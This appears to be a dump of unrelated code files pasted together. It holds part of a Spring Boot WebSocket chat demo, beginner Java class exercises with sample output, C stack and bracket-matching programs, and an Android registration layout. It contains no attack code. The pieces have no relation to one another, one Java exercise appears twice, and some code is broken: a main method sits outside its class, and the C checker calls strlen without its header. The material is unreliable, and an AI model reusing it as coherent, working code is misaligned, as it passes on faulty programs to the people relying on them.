			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>

		<dependency>
			<groupId>org.projectlombok</groupId>
			<artifactId>lombok</artifactId>
			<optional>true</optional>
		</dependency>
	</dependencies>

	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
			</plugin>
			<!-- This plugin is used to create a docker image and publish the image to docker hub-->
			<plugin>
				<groupId>com.spotify</groupId>
				<artifactId>dockerfile-maven-plugin</artifactId>
				<version>1.4.0</version>
				<configuration>
					<!-- replace `callicoder` with your docker id-->
					<repository>callicoder/spring-boot-websocket-chat-demo</repository>
					<tag>${project.version}</tag>
					<buildArgs>
						<JAR_FILE>target/${project.build.finalName}.jar</JAR_FILE>
					</buildArgs>
				</configuration>
				<executions>
					<execution>
						<id>default</id>
						<phase>install</phase>
						<goals>
							<goal>build</goal>
							<goal>push</goal>
						</goals>
					</execution>
				</executions>
			</plugin>
		</plugins>
	</build>
</project>
--------------------------------------

static/js/main.js

'use strict';

var usernamePage = document.querySelector('#username-page');
var chatPage = document.querySelector('#chat-page');
var usernameForm = document.querySelector('#usernameForm');
var messageForm = document.querySelector('#messageForm');
var messageInput = document.querySelector('#message');
var messageArea = document.querySelector('#messageArea');
var connectingElement = document.querySelector('.connecting');

var stompClient = null;
var username = null;

var colors = [
    '#2196F3', '#32c787', '#00BCD4', '#ff5652',
    '#ffc107', '#ff85af', '#FF9800', '#39bbb0'
];

function connect(event) {
    username = document.querySelector('#name').value.trim();

    if(username) {
        usernamePage.classList.add('hidden');
        chatPage.classList.remove('hidden');

        var socket = new SockJS('/ws');
        stompClient = Stomp.over(socket);

        stompClient.connect({}, onConnected, onError);
    }
    event.preventDefault();
}

function onConnected() {
    // Subscribe to the Public Topic
    stompClient.subscribe('/topic/public', onMessageReceived);

    // Tell your username to the server
    stompClient.send("/app/chat.addUser",
        {},
        JSON.stringify({sender: username, type: 'JOIN'})
    )

    connectingElement.classList.add('hidden');
}


function onError(error) {
    connectingElement.textContent = 'Could not connect to WebSocket server. Please refresh this page to try again!';
    connectingElement.style.color = 'red';
}


async function sendMessage(event) {
    var messageContent = messageInput.value.trim();

    if(messageContent && stompClient) {
        var chatMessage = {
            sender: username,
            content: messageInput.value,
            type: 'CHAT'
        };

        stompClient.send("/app/chat.sendMessage", {}, JSON.stringify(chatMessage));
        messageInput.value = '';
    }
    event.preventDefault();
}


function onMessageReceived(payload) {
    var message = JSON.parse(payload.body);

    var messageElement = document.createElement('li');

    console.log(payload)
    if(message.type === 'JOIN') {
        messageElement.classList.add('event-message');
        message.content = message.sender + ' joined!';
    } else if (message.type === 'LEAVE') {
        messageElement.classList.add('event-message');
        message.content = message.sender + ' left!';
    } else {
        messageElement.classList.add('chat-message');

        var avatarElement = document.createElement('i');
        var avatarText = document.createTextNode(message.sender[0]);
        avatarElement.appendChild(avatarText);
        avatarElement.style['background-color'] = getAvatarColor(message.sender);

        messageElement.appendChild(avatarElement);

        var usernameElement = document.createElement('span');
        var usernameText = document.createTextNode(message.sender);
        usernameElement.appendChild(usernameText);
        messageElement.appendChild(usernameElement);
    }

    var textElement = document.createElement('p');
    var messageText = document.createTextNode(message.content);
    textElement.appendChild(messageText);

    messageElement.appendChild(textElement);

    messageArea.appendChild(messageElement);
    messageArea.scrollTop = messageArea.scrollHeight;
}


function getAvatarColor(messageSender) {
    var hash = 0;
    for (var i = 0; i < messageSender.length; i++) {
        hash = 31 * hash + messageSender.charCodeAt(i);
    }

    var index = Math.abs(hash % colors.length);
    return colors[index];
}

usernameForm.addEventListener('submit', connect, true)
messageForm.addEventListener('submit', sendMessage, true)
static/css/main.css

* {
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
}

html,body {
    height: 100%;
    overflow: hidden;
}

body {
    margin: 0;
    padding: 0;
    font-weight: 400;
    font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
    font-size: 1rem;
    line-height: 1.58;
    color: #333;
    background-color: #f4f4f4;
    height: 100%;
}

body:before {
    height: 50%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    background: #128ff2;
    content: "";
    z-index: 0;
}

.clearfix:after {
    display: block;
    content: "";
    clear: both;
}

.hidden {
    display: none;
}

.form-control {
    width: 100%;
    min-height: 38px;
    font-size: 15px;
    border: 1px solid #c8c8c8;
}

.form-group {
    margin-bottom: 15px;
}

input {
    padding-left: 10px;
    outline: none;
}

h1, h2, h3, h4, h5, h6 {
    margin-top: 20px;
    margin-bottom: 20px;
}

h1 {
    font-size: 1.7em;
}

a {
    color: #128ff2;
}

button {
    box-shadow: none;
    border: 1px solid transparent;
    font-size: 14px;
    outline: none;
    line-height: 100%;
    white-space: nowrap;
    vertical-align: middle;
    padding: 0.6rem 1rem;
    border-radius: 2px;
    transition: all 0.2s ease-in-out;
    cursor: pointer;
    min-height: 38px;
}

button.default {
    background-color: #e8e8e8;
    color: #333;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
}

button.primary {
    background-color: #128ff2;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
    color: #fff;
}

button.accent {
    background-color: #ff4743;
    box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.12);
    color: #fff;
}

#username-page {
    text-align: center;
}

.username-page-container {
    background: #fff;
    box-shadow: 0 1px 11px rgba(0, 0, 0, 0.27);
    border-radius: 2px;
    width: 100%;
    max-width: 500px;
    display: inline-block;
    margin-top: 42px;
    vertical-align: middle;
    position: relative;
    padding: 35px 55px 35px;
    min-height: 250px;
    position: absolute;
    top: 50%;
    left: 0;
    right: 0;
    margin: 0 auto;
    margin-top: -160px;
}

.username-page-container .username-submit {
    margin-top: 10px;
}


#chat-page {
    position: relative;
    height: 100%;
}

.chat-container {
    max-width: 700px;
    margin-left: auto;
    margin-right: auto;
    background-color: #fff;
    box-shadow: 0 1px 11px rgba(0, 0, 0, 0.27);
    margin-top: 30px;
    height: calc(100% - 60px);
    max-height: 600px;
    position: relative;
}

#chat-page ul {
    list-style-type: none;
    background-color: #FFF;
    margin: 0;
    overflow: auto;
    overflow-y: scroll;
    padding: 0 20px 0px 20px;
    height: calc(100% - 150px);
}

#chat-page #messageForm {
    padding: 20px;
}

#chat-page ul li {
    line-height: 1.5rem;
    padding: 10px 20px;
    margin: 0;
    border-bottom: 1px solid #f4f4f4;
}

#chat-page ul li p {
    margin: 0;
}

#chat-page .event-message {
    width: 100%;
    text-align: center;
    clear: both;
}

#chat-page .event-message p {
    color: #777;
    font-size: 14px;
    word-wrap: break-word;
}

#chat-page .chat-message {
    padding-left: 68px;
    position: relative;
}

#chat-page .chat-message i {
    position: absolute;
    width: 42px;
    height: 42px;
    overflow: hidden;
    left: 10px;
    display: inline-block;
    vertical-align: middle;
    font-size: 18px;
    line-height: 42px;
    color: #fff;
    text-align: center;
    border-radius: 50%;
    font-style: normal;
    text-transform: uppercase;
}

#chat-page .chat-message span {
    color: #333;
    font-weight: 600;
}

#chat-page .chat-message p {
    color: #43464b;
}

#messageForm .input-group input {
    float: left;
    width: calc(100% - 85px);
}

#messageForm .input-group button {
    float: left;
    width: 80px;
    height: 38px;
    margin-left: 5px;
}

.chat-header {
    text-align: center;
    padding: 15px;
    border-bottom: 1px solid #ececec;
}

.chat-header h2 {
    margin: 0;
    font-weight: 500;
}

.connecting {
    padding-top: 5px;
    text-align: center;
    color: #777;
    position: absolute;
    top: 65px;
    width: 100%;
}


@media screen and (max-width: 730px) {

    .chat-container {
        margin-left: 10px;
        margin-right: 10px;
        margin-top: 10px;
    }
}

@media screen and (max-width: 480px) {
    .chat-container {
        height: calc(100% - 30px);
    }

    .username-page-container {
        width: auto;
        margin-left: 15px;
        margin-right: 15px;
        padding: 25px;
    }

    #chat-page ul {
        height: calc(100% - 120px);
    }

    #messageForm .input-group button {
        width: 65px;
    }

    #messageForm .input-group input {
        width: calc(100% - 70px);
    }

    .chat-header {
        padding: 10px;
    }

    .connecting {
        top: 60px;
    }

    .chat-header h2 {
        font-size: 1.1em;
    }
}



config/WebSocketConfig

package com.example.websocketdemo.config;

import org.springframework.context.annotation.Configuration;
import org.springframework.messaging.simp.config.MessageBrokerRegistry;
import org.springframework.web.socket.config.annotation.*;

@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {

    @Override
    public void registerStompEndpoints(StompEndpointRegistry registry) {
        registry.addEndpoint("/ws").withSockJS();
    }


    @Override
    public void configureMessageBroker(MessageBrokerRegistry registry) {
        registry.setApplicationDestinationPrefixes("/app");
        registry.enableSimpleBroker("/topic");

    }
}


---------------------------------------------
  
controller/ChatController

package com.example.websocketdemo.controller;

import com.example.websocketdemo.model.ChatMessage;
import org.springframework.messaging.handler.annotation.MessageMapping;
import org.springframework.messaging.handler.annotation.Payload;
import org.springframework.messaging.handler.annotation.SendTo;
import org.springframework.messaging.simp.SimpMessageHeaderAccessor;
import org.springframework.stereotype.Controller;


@Controller
public class ChatController {

    @MessageMapping("/chat.sendMessage")
    @SendTo("/topic/public")
    public ChatMessage sendMessage(@Payload ChatMessage chatMessage) {
        return chatMessage;
    }

    @MessageMapping("/chat.addUser")
    @SendTo("/topic/public")
    public ChatMessage addUser(@Payload ChatMessage chatMessage,
                               SimpMessageHeaderAccessor headerAccessor) {
        // Add username in web socket session
        headerAccessor.getSessionAttributes().put("username", chatMessage.getSender());
        return chatMessage;
    }

}

----------------------------------------------------

controller/WebSocketEventListener

package com.example.websocketdemo.controller;

import com.example.websocketdemo.model.ChatMessage;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.event.EventListener;
import org.springframework.messaging.simp.SimpMessageSendingOperations;
import org.springframework.messaging.simp.stomp.StompHeaderAccessor;
import org.springframework.stereotype.Component;
import org.springframework.web.socket.messaging.SessionConnectedEvent;
import org.springframework.web.socket.messaging.SessionDisconnectEvent;

@Component
public class WebSocketEventListener {

    private static final Logger logger = LoggerFactory.getLogger(WebSocketEventListener.class);

    @Autowired
    private SimpMessageSendingOperations messagingTemplate;

    @EventListener
    public void handleWebSocketConnectListener(SessionConnectedEvent event) {
        logger.info("Received a new web socket connection");
    }

    @EventListener
    public void handleWebSocketDisconnectListener(SessionDisconnectEvent event) {
        StompHeaderAccessor headerAccessor = StompHeaderAccessor.wrap(event.getMessage());

        String username = (String) headerAccessor.getSessionAttributes().get("username");
        if(username != null) {
            logger.info("User Disconnected : " + username);

            ChatMessage chatMessage = new ChatMessage();
            chatMessage.setType(ChatMessage.MessageType.LEAVE);
            chatMessage.setSender(username);

            messagingTemplate.convertAndSend("/topic/public", chatMessage);
        }
    }
}

------------------------------------------

model/ChatMessage
package com.example.websocketdemo.model;

import lombok.Data;

@Data
public class ChatMessage {
    private MessageType type;
    private String content;
    private String sender;

    public enum MessageType {
        CHAT,
        JOIN,
        LEAVE
    }
}

-----------------------------------
WebsocketDemoApplication

package com.example.websocketdemo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class WebsocketDemoApplication {

	public static void main(String[] args) {
		SpringApplication.run(WebsocketDemoApplication.class, args);
	}
}
public class Student {
	
	private String name;
	private int age;
	private int id;
	private double gpa;
	int foo;
	
	Student(String name, int age, int id) {
		this.name = name;
		this.age = age;
		this.id = id;
		gpa = 0.0;
		foo = 0;
	}
//Get
	public String getName() {
		return name;
	}
	
	public int getAge() {
		return age;
	}
	public int getId() {
		return id;
	}
	public double getGpa() {
		return gpa;
	}
//Set
	public void setName(String name) {
		this.name = name;
	}
	public void setAge (int age) {
		this.age = age;
	}
	public void setId(int id) {
		this.id = id;
	}
	public void setGpa(double gpa) {
		this.gpa = gpa;
	}
	
	public String toString() {
		return "Name: " + name + " Age: " + age + " Id: " + id + " Gpa: " + gpa;
	}

}

public static void main(String[] args) {
		
		Student s1 = new Student("Mohamed", 24, 210209327);
		
		s1.setGpa(98.67);
		
		System.out.println("Student Name: " + s1.getName());
		System.out.println("Student Age: " + s1.getAge());
		System.out.println("Student Id: " + s1.getId());
		System.out.println("Student Gpa: " + s1.getGpa());
		
		System.out.println(s1.toString());
		
		s1.foo = 5;
		System.out.println("Student foo: " + s1.foo);

	}

}
//OUTPUT:
Student Name: Mohamed
Student Age: 24
Student Id: 210209327
Student Gpa: 98.67
Name: Mohamed Age: 24 Id: 210209327 Gpa: 98.67
Student foo: 5
import java.util.Scanner;
class Student{
	int rollNumber;
	String name;
}
class StudentInfo{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		Student s1=new Student();
		Student s2=new Student();
		Student s3=new Student();
		System.out.println("Enter roll of 1st Student:");
		s1.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 1st Student:");
		s1.name=sc.nextLine();
		System.out.println("Enter roll of 2nd Student:");
		s2.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 2nd Student:");
		s2.name=sc.nextLine();
		System.out.println("Enter roll of 3rd Student:");
		s3.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 3rd Student:");
		s3.name=sc.nextLine();
		System.out.println("Name of First Student= "+s1.name);
		System.out.println("roll of First Student= "+s1.rollNumber);
		System.out.println("Name of Second Student= "+s2.name);
		System.out.println("roll of Second Student= "+s2.rollNumber);
		System.out.println("Name of Third Student= "+s3.name);
		System.out.println("roll of Second Student= "+s3.rollNumber);
	}
}
import java.util.Scanner;
class Student{
	int rollNumber;
	String name;
}
class StudentInfo{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		Student s1=new Student();
		Student s2=new Student();
		Student s3=new Student();
		System.out.println("Enter roll of 1st Student:");
		s1.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 1st Student:");
		s1.name=sc.nextLine();
		System.out.println("Enter roll of 2nd Student:");
		s2.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 2nd Student:");
		s2.name=sc.nextLine();
		System.out.println("Enter roll of 3rd Student:");
		s3.rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter name of 3rd Student:");
		s3.name=sc.nextLine();
		System.out.println("Name of First Student= "+s1.name);
		System.out.println("roll of First Student= "+s1.rollNumber);
		System.out.println("Name of Second Student= "+s2.name);
		System.out.println("roll of Second Student= "+s2.rollNumber);
		System.out.println("Name of Third Student= "+s3.name);
		System.out.println("roll of Second Student= "+s3.rollNumber);
	}
}
import java.util.Scanner;
public class AriOp{
	public static void main(String args[]){
		Scanner sc=new Scanner(System.in);
		int FirstNumber,SecondNumber,x;
		int sum,sub,multi,div,mod,temp;
		System.out.println("ARITHMETIC OPERATION");
		System.out.println("--------------------");
		System.out.println("1.ADDITION");
		System.out.println("2.SUBTRACTION");
		System.out.println("3.MULTIPLICATION");
		System.out.println("4.DIVISION");
		System.out.println("5.REMAINDER");
		System.out.println("---------------------");
		System.out.println("Enter a number:");
		FirstNumber=sc.nextInt();
		System.out.println("Enter a number:");
		SecondNumber=sc.nextInt();
		System.out.println("Enter your option:");
		x=sc.nextInt();
		if(x>5){
			System.out.println("Enter valid criteria mentioned Above");
		}else{
			if(x==1){
				sum=FirstNumber+SecondNumber;
				System.out.println("Sum= "+sum);
			}else if(x==2){
				if(FirstNumber<SecondNumber){
						temp=FirstNumber;
						FirstNumber=SecondNumber;
						SecondNumber=temp;
				}
				sub=FirstNumber-SecondNumber;
				System.out.println("sub= "+sub);
			}else if(x==3){
				multi=FirstNumber*SecondNumber;
				System.out.println("multi= "+multi);
			}else if(x==4){
				if(FirstNumber<SecondNumber){
						System.out.println("Not Possible");
				}else{
					div=FirstNumber/SecondNumber;
					System.out.println("Div= "+div);
				}
			}else{
				mod=FirstNumber%SecondNumber;
				System.out.println("modulus= "+mod);
			}
		}
	}
}
Answer 1:

import java.util.Scanner;

public class Movie {
	
	String title;
	int rating;
	
	public Movie(String newTitle, int newRating) {
		title = newTitle;
		if(newRating >=0 && newRating <= 10) {
			rating = newRating;
		}
	}
	public char getCategory() {
		if(rating ==9 || rating == 10)
			return 'A';
		else if(rating == 7 || rating ==8)
			return 'B';
		else if(rating == 5 || rating == 6)
			return 'C';
		else if(rating == 3 || rating ==4)
			return 'D';
		else 
			return 'F';
		
	}
	public void writeOutput() {
		System.out.println("Title: " + title);
		System.out.println("Rating: " + rating);
	}

	public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter Title of Movie: ");
		String name = scanner.next();
		
		System.out.println("Enter Rating a Movie: ");
		int rating = scanner.nextInt();
		
		Movie m1 = new Movie(name, rating);
		
		//getCategory();
		m1.writeOutput();
		System.out.println("Catagory of the movie: " + m1.getCategory());
		
	}
}
//OUTPUT:

Enter Title of Movie: 
Black_List
Enter Rating a Movie: 
10
Title: Black_List
Rating: 10
Catagory of the movie: A

Answer 4:

import java.util.Scanner;

public class Employee {
	
	String name;
	double salary;
	double hours;
	
	Employee(){
		this("",0,0);
	}
	Employee(String name, double salary, double hours){
		this.name = name;
		this.salary = salary;
		this.hours = hours;
	}
	
	public void addBonus() {
		if(salary < 600) {
			salary += 15;
		}
	}
	public void addWork() {
		if(hours > 8) {
			salary += 10;
		}
	}
	public void printSalary() {
		System.out.println("Final Salary Of The Employee = " + salary + "$");
	}

	public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter a Name of Employee:");
		String name = scanner.next();
		System.out.println("Enter a Salary of Employee: ");
		double sal = scanner.nextDouble();
		
		System.out.println("Enter a Number of Hours:");
		double hrs = scanner.nextDouble();
		
		Employee emp = new Employee(name,sal,hrs);
		
		emp.addBonus();
		emp.addWork();
		emp.printSalary();

	}
}
//OUTPUT:
Enter a Name of Employee:
mohamed
Enter a Salary of Employee: 
599
Enter a Number of Hours:
10
Final Salary Of The Employee = 624.0$


Q 1.
#include <stdio.h>
#include <stdlib.h>
#define MAX_SIZE 3

int stack [MAX_SIZE];
int top = -1;

void push(int value) 
{
    if(top==MAX_SIZE-1) {
        printf("Stack Overflow (Full): Cannot Push Element (%d) onto the stack.\n", value);
    }
    else {
        top++;
        stack[top] = value;
        printf("Element (%d) Pushed Onto The Stack.\n", value);
    }
}

void pop() 
{
    if(top == -1) {
        printf("Stack Underflow (Empty): Cannot Pop Element From The Stack.\n");
    }
    else {
        printf("\nElement (%d) Popped From The Stack.\n", stack[top]);
        top--;
    }
}

void display()
{
    if(top == -1) {
        printf("Stack is Empty.\n");
    }
    else {
        printf("Stack Elements are: ");
        for(int i=top; i>=0; i--) {
            printf("%d, ",stack[i]);
        }
        printf("\n");
    }
}

int main() {
    
    push(10);
    push(20);
    display();
    push(50);
    push(100);
    display();

    pop();
    display();
    pop();
    pop();
    display();

    return 0;
}

//OUTPUT:
Element (10) Pushed Onto The Stack.
Element (20) Pushed Onto The Stack.
Stack Elements are: 20, 10, 
Element (50) Pushed Onto The Stack.
Stack Overflow (Full): Cannot Push Element (100) onto the stack.
Stack Elements are: 50, 20, 10, 

Element (50) Popped From The Stack.
Stack Elements are: 20, 10, 

Element (20) Popped From The Stack.

Element (10) Popped From The Stack.
Stack is Empty.


Q3. 
#include <stdio.h>
#include <stdlib.h>
#define MAX_SIZE 100

char stack[MAX_SIZE];
int top = -1;
void push(char data) {
    if (top == MAX_SIZE - 1) {
        printf("Overflow stack!\n");
        return;
    }
    top++;
    stack[top] = data;
}

char pop() {
    if (top == -1) {
        printf("Empty stack!\n");
        return ' ';
    }
    char data = stack[top];
    top--;
    return data;
}

int is_matching_pair(char char1, char char2) {
    if (char1 == '(' && char2 == ')') {
        return 1;
    } else if (char1 == '[' && char2 == ']') {
        return 1;
    } else if (char1 == '{' && char2 == '}') {
        return 1;
    } else {
        return 0;
    }
}
int isBalanced(char* text) {
    int i;
    for (i = 0; i < strlen(text); i++) {
        if (text[i] == '(' || text[i] == '[' || text[i] == '{') {
            push(text[i]);
        } else if (text[i] == ')' || text[i] == ']' || text[i] == '}') {
            if (top == -1) {
                return 0;
            } else if (!is_matching_pair(pop(), text[i])) {
                return 0;
            }
        }
    }
    if (top == -1) {
        return 1;
    } else {
        return 0;
    }
}

int main() {
   char text[MAX_SIZE];
   printf("Input an expression in parentheses: ");
   scanf("%s", text);
   if (isBalanced(text)) {
       printf("The expression is balanced.\n");
   } else {
       printf("The expression is not balanced.\n");
   }
   return 0;
}
//OUTPUT:
Input an expression in parentheses: {[({[]})]}
The expression is balanced.
Input an expression in parentheses: [{[}]]
The expression is not balanced.
public class Car {
	
	String model;
	String color;
	int speed;
	
//Default Constructor
	
	public Car() {
		model = "Toyota";
		color = "black";
		speed = 40;
	}
	
	public Car(String newModel, String newColor, int newSpeed) {
		model= newModel;
		color = newColor;
		speed = newSpeed;
	} 
	
	public void increaseSpeed(int newSpeed) {
		speed = speed + newSpeed;
	}
	
	public void decreaseSpeed(int newSpeed) {
		speed = speed - newSpeed;
	}
	
//Test programming
	public static void main(String[] args) {
	
//Car 1
		Car c1 = new Car();
		System.out.println("Car 1:");
		System.out.println("\nModel: " + c1.model + "\nColor: " + c1.color + "\nspeed: " + c1.speed);
	
		c1.increaseSpeed(100);
		
		System.out.println("\nCar 1: İncrease speed by (100)");
		System.out.println("New speed: " + c1.speed);
		
		c1.decreaseSpeed(50);
		
		System.out.println("\nCar 1: Decrease speed by (50)");
		System.out.println("New speed: " + c1.speed);
	
//CAR 2
		Car c2 = new Car("Bugati", "Blue", 100);
		
		System.out.println("\n\nCar 2:");
		
		System.out.println("\nModel: " + c2.model + "\nColor: " + c2.color + "\nspeed: " + c2.speed);
	
	
		
        c2.increaseSpeed(90);
		
		System.out.println("\nCar 2: İncrease speed by (90)");
		System.out.println("New speed: " + c2.speed);
		
		c2.decreaseSpeed(40);
		
		System.out.println("\nCar 2: Decrease speed by (40)");
		System.out.println("New speed: " + c2.speed);
	
	
	}

}
//OUTPUT:
Car 1:

Model: Toyota
Color: black
speed: 40

Car 1: İncrease speed by (100)
New speed: 140

Car 1: Decrease speed by (50)
New speed: 90


Car 2:

Model: Bugati
Color: Blue
speed: 100

Car 2: İncrease speed by (90)
New speed: 190

Car 2: Decrease speed by (40)
New speed: 150



///.                     BANK ACCOUNT CALSSES AND ABOJECTS.


import java.util.Scanner;

public class BankAccount {
	
	String owner;
	double balance;
	int aType;
	
	public BankAccount() {
		owner = "Mohamed";
		balance = 1500;
		aType = 1;
		
	}
	public BankAccount(String newOwner, double newBalance, int newAType ) {
		owner = newOwner;
		balance = newBalance;
		aType = newAType;
	}
		
	public void addMoney(double newBalance) {
		balance = balance + newBalance;
	}
	
	public void takeMoney(double newBalance) {
		balance = balance - newBalance;
	}
	
	public static void main (String[] arg) {
	
		BankAccount c1 = new BankAccount();
		
		System.out.println("Costumer 1:");
		System.out.println("\nOwner: " +c1.owner + "\nBalance: " + c1.balance + "\naType: " + c1.aType);
		
		c1.addMoney(1500);
		System.out.println("\nAdd Blance by (1500)");
		System.out.println("\nNew Balance :" + c1.balance);
		
		c1.takeMoney(2500);
		System.out.println("\nRemove Blance by (2500)");
		System.out.println("\nNew Balance :" + c1.balance);
		
		Scanner scanner = new Scanner(System.in);
		
		System.out.println("\nEnter Costumer 2 information: ");
		System.out.println("Enter Name of Owner : ");
		String owner = scanner.next();
		
		System.out.println("Enter balance: ");
		double balance = scanner.nextDouble();
		
		System.out.println("Enter AType Account: ");
		int aType = scanner.nextInt();
		
		BankAccount c2 = new BankAccount(owner, balance, aType);
		
		System.out.println("\n\nCostumer 2:");
		System.out.println("\nOwner: " +c2.owner + "\nBalance: " + c2.balance + "\naType: " + c2.aType);
		
		c2.addMoney(3000);
		System.out.println("\nAdd Blance by (3000)");
		System.out.println("\nNew Balance :" + c2.balance);
		
		c2.takeMoney(5000);
		System.out.println("\nRemove Blance by (5000)");
		System.out.println("\nNew Balance :" + c2.balance);
		
		scanner.close();
	}
}
//OUTPUT: 
Costumer 1:

Owner: Mohamed
Balance: 1500.0
aType: 1

Add Blance by (1500)

New Balance :3000.0

Remove Blance by (2500)

New Balance :500.0

Enter Costumer 2 information: 
Enter Name of Owner : 
NAJMA
Enter balance: 
8000
Enter AType Account: 
2


Costumer 2:

Owner: NAJMA
Balance: 8000.0
aType: 2

Add Blance by (3000)

New Balance :11000.0

Remove Blance by (5000)

New Balance :6000.0

public class ThisExample {

	
	int a = 10;      //instance variable
	void display() 
	{
		int a = 200;      //Local variable
      
		System.out.println("Local Variable = " + a);
		System.out.println("İnstance variable = " + this.a);
	}
	
	public static void main(String[] args) {
		
		ThisExample obj = new ThisExample();
		obj.display();

	}

}
//Output: 
Local Variable = 200
İnstance variable = 10
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".RegisterActivity"
    android:background="@drawable/back2">

    <EditText
        android:id="@+id/editTextRegPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegemail" />

    <EditText
        android:id="@+id/editTextRegConfirmPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Confirm Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegPassword" />

    <TextView
        android:id="@+id/textView"
        android:layout_width="227dp"
        android:layout_height="58dp"
        android:selectAllOnFocus="true"
        android:shadowColor="#000000"
        android:text="HealthCare"
        android:textAlignment="center"
        android:textAppearance="@style/TextAppearance.AppCompat.Body1"
        android:textColor="#FFFFFF"
        android:textColorHint="#000000"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.44"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.041" />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="204dp"
        android:layout_height="43dp"
        android:text="Registration"
        android:textColor="#FFFDFD"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView"
        app:layout_constraintVertical_bias="0.09" />

    <EditText
        android:id="@+id/editTextRegUsername"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="48dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_person_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Username"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView2" />

    <EditText
        android:id="@+id/editTextRegemail"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_email_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Email"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegUsername" />

    <Button
        android:id="@+id/buttonregister"
        android:layout_width="326dp"
        android:layout_height="48dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/btn_bg"
        android:text="REGISTER"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.494"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextRegConfirmPassword" />

    <TextView
        android:id="@+id/textViewExisting"
        android:layout_width="127dp"
        android:layout_height="28dp"
        android:paddingTop="5dp"
        android:text="Already exist user"
        android:textAlignment="center"
        android:textAllCaps="false"
        android:textColor="#F4F4F4"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/buttonregister"
        app:layout_constraintVertical_bias="0.559" />
</androidx.constraintlayout.widget.ConstraintLayout>
<?xml version="1.0" encoding="utf-8"?>
